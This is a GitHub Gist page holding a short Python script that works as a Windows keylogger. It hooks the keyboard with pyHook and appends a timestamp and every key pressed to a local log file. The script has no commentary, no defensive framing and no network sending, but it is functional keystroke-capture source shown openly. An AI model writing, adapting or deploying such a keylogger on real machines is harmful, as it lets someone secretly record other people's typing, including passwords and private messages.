Created
June 28, 2019 06:20
-
-
Save theoctober19th/21aee4700520605f6b386936cc0bcfed to your computer and use it in GitHub Desktop.
This file contains bidirectional Unicode text that may be interpreted or compiled differently than what appears below. To review, open the file in an editor that reveals hidden Unicode characters.
Learn more about bidirectional Unicode characters
import pyHook, pythoncom, sys, logging | |
import datetime | |
file_log = 'D:\\Lab\\logs\\keystrokes\keylogs.bd' #Change this path to where you want to store the logs to. | |
def onKeyboardEvent(event): | |
logging.basicConfig(filename=file_log, level=logging.DEBUG, format='%(message)s') | |
logging.log(10, str(datetime.datetime.now()) + ' >>' + chr(event.Ascii) + '<<') | |
return True | |
hooks_manager = pyHook.HookManager() | |
hooks_manager.KeyDown = onKeyboardEvent | |
hooks_manager.HookKeyboard() | |
pythoncom.PumpMessages() |
Sign up for free
to join this conversation on GitHub.
Already have an account?
Sign in to comment